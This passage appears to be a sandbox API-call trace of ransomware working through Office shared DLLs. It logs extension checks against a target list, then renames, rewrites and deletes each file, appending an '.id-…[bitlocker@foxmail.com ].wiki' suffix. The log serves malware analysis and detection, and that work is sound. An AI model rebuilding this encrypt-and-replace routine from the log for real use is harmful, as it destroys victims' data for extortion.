(lpString=".7z") returned 3 [0192.759] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.759] lstrlenW (lpString=".dbf") returned 4 [0192.759] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.759] lstrlenW (lpString=".1cd") returned 4 [0192.759] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.759] lstrlenW (lpString=".jpg") returned 4 [0192.760] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.760] lstrlenW (lpString=".doc") returned 4 [0192.760] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.760] lstrlenW (lpString=".docx") returned 5 [0192.760] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0192.760] lstrlenW (lpString=".pdf") returned 4 [0192.760] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.760] lstrlenW (lpString=".xls") returned 4 [0192.760] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.760] lstrlenW (lpString=".xlsx") returned 5 [0192.760] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0192.760] lstrlenW (lpString=".ppt") returned 4 [0192.760] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.760] lstrlenW (lpString=".zip") returned 4 [0192.760] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.760] lstrlenW (lpString=".rar") returned 4 [0192.760] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.760] lstrlenW (lpString=".bz2") returned 4 [0192.760] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.760] lstrlenW (lpString=".7z") returned 3 [0192.760] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.760] lstrlenW (lpString=".dbf") returned 4 [0192.760] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.760] lstrlenW (lpString=".1cd") returned 4 [0192.761] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.761] lstrlenW (lpString=".jpg") returned 4 [0192.761] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.761] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.761] lstrlenW (lpString="WISC30.DLL") returned 10 [0192.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0192.761] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=147344) returned 1 [0192.761] CloseHandle (hObject=0x1e4) returned 1 [0192.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll")) returned 0x20 [0192.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0192.762] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.762] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0192.762] GetLastError () returned 0x0 [0192.762] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x23f90, lpOverlapped=0x0) returned 1 [0192.812] WriteFile (in: hFile=0x218, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x23fa0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x23fa0, lpOverlapped=0x0) returned 1 [0193.000] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.000] WriteFile (in: hFile=0x218, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0193.000] SetEndOfFile (hFile=0x218) returned 1 [0193.000] CloseHandle (hObject=0x218) returned 1 [0193.000] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.000] SetEndOfFile (hFile=0x1e4) returned 1 [0193.001] CloseHandle (hObject=0x1e4) returned 1 [0193.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.002] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll")) returned 1 [0193.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.002] lstrlenW (lpString=".doc") returned 4 [0193.002] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0193.002] lstrlenW (lpString=".docx") returned 5 [0193.002] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0193.002] lstrlenW (lpString=".pdf") returned 4 [0193.002] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0193.002] lstrlenW (lpString=".xls") returned 4 [0193.002] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0193.002] lstrlenW (lpString=".xlsx") returned 5 [0193.002] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0193.002] lstrlenW (lpString=".ppt") returned 4 [0193.002] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0193.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.002] lstrlenW (lpString=".zip") returned 4 [0193.002] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0193.002] lstrlenW (lpString=".rar") returned 4 [0193.002] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0193.002] lstrlenW (lpString=".bz2") returned 4 [0193.002] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0193.002] lstrlenW (lpString=".7z") returned 3 [0193.002] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0193.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.003] lstrlenW (lpString=".dbf") returned 4 [0193.003] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0193.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.003] lstrlenW (lpString=".1cd") returned 4 [0193.003] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0193.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.003] lstrlenW (lpString=".jpg") returned 4 [0193.003] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0193.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.003] lstrlenW (lpString=".doc") returned 4 [0193.003] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0193.003] lstrlenW (lpString=".docx") returned 5 [0193.003] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0193.003] lstrlenW (lpString=".pdf") returned 4 [0193.003] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0193.003] lstrlenW (lpString=".xls") returned 4 [0193.003] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0193.003] lstrlenW (lpString=".xlsx") returned 5 [0193.003] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0193.003] lstrlenW (lpString=".ppt") returned 4 [0193.003] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0193.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.003] lstrlenW (lpString=".zip") returned 4 [0193.003] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0193.003] lstrlenW (lpString=".rar") returned 4 [0193.003] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0193.003] lstrlenW (lpString=".bz2") returned 4 [0193.003] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0193.003] lstrlenW (lpString=".7z") returned 3 [0193.004] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0193.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.004] lstrlenW (lpString=".dbf") returned 4 [0193.004] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0193.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.004] lstrlenW (lpString=".1cd") returned 4 [0193.004] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0193.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0193.004] lstrlenW (lpString=".jpg") returned 4 [0193.004] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0193.004] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0193.004] lstrlenW (lpString="OSPPOBJS.DLL") returned 12 [0193.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0193.531] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2173696) returned 1 [0193.531] CloseHandle (hObject=0x1e4) returned 1 [0193.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll")) returned 0x20 [0193.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0193.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0193.567] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc6c | out: lpNewFilePointer=0x0) returned 1 [0193.567] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0193.567] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3f20058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0193.571] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xb0e55, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0193.571] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3f60058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0193.574] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x350fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0193.574] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x1d2b00, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0193.574] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3fa0058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0193.597] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.597] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x350fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0193.941] SetEndOfFile (hFile=0x1e4) returned 1 [0193.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4261050 [0193.946] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0193.946] WriteFile (in: hFile=0x1e4, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0193.947] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xb0e55, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0193.947] WriteFile (in: hFile=0x1e4, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0193.949] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x1d2b00, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0193.949] WriteFile (in: hFile=0x1e4, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0193.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4261050 | out: hHeap=0x5c0000) returned 1 [0193.951] CloseHandle (hObject=0x1e4) returned 1 [0193.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.951] lstrlenW (lpString=".doc") returned 4 [0193.951] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0193.951] lstrlenW (lpString=".docx") returned 5 [0193.951] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0193.951] lstrlenW (lpString=".pdf") returned 4 [0193.951] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0193.951] lstrlenW (lpString=".xls") returned 4 [0193.951] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0193.951] lstrlenW (lpString=".xlsx") returned 5 [0193.951] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0193.951] lstrlenW (lpString=".ppt") returned 4 [0193.951] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0193.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.951] lstrlenW (lpString=".zip") returned 4 [0193.951] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0193.951] lstrlenW (lpString=".rar") returned 4 [0193.951] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0193.952] lstrlenW (lpString=".bz2") returned 4 [0193.952] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0193.952] lstrlenW (lpString=".7z") returned 3 [0193.952] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0193.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.952] lstrlenW (lpString=".dbf") returned 4 [0193.952] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0193.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.952] lstrlenW (lpString=".1cd") returned 4 [0193.952] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0193.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.952] lstrlenW (lpString=".jpg") returned 4 [0193.952] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0193.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.952] lstrlenW (lpString=".doc") returned 4 [0193.952] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0193.952] lstrlenW (lpString=".docx") returned 5 [0193.952] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0193.952] lstrlenW (lpString=".pdf") returned 4 [0193.952] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0193.952] lstrlenW (lpString=".xls") returned 4 [0193.952] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0193.952] lstrlenW (lpString=".xlsx") returned 5 [0193.952] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0193.952] lstrlenW (lpString=".ppt") returned 4 [0193.952] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0193.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.952] lstrlenW (lpString=".zip") returned 4 [0193.952] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0193.952] lstrlenW (lpString=".rar") returned 4 [0193.952] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0193.953] lstrlenW (lpString=".bz2") returned 4 [0193.953] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0193.953] lstrlenW (lpString=".7z") returned 3 [0193.953] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0193.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.953] lstrlenW (lpString=".dbf") returned 4 [0193.953] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0193.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.953] lstrlenW (lpString=".1cd") returned 4 [0193.953] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0193.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0193.953] lstrlenW (lpString=".jpg") returned 4 [0193.953] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0193.953] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0193.953] lstrlenW (lpString="OSPPWMI.DLL") returned 11 [0193.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0193.953] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=146192) returned 1 [0193.954] CloseHandle (hObject=0x1e4) returned 1 [0193.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll")) returned 0x20 [0193.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0193.954] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.954] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0193.954] GetLastError () returned 0x0 [0193.954] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x23b10, lpOverlapped=0x0) returned 1 [0193.989] WriteFile (in: hFile=0x1d8, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x23b20, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x23b20, lpOverlapped=0x0) returned 1 [0193.992] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.992] WriteFile (in: hFile=0x1d8, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0193.992] SetEndOfFile (hFile=0x1d8) returned 1 [0193.992] CloseHandle (hObject=0x1d8) returned 1 [0193.992] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.992] SetEndOfFile (hFile=0x1e4) returned 1 [0193.993] CloseHandle (hObject=0x1e4) returned 1 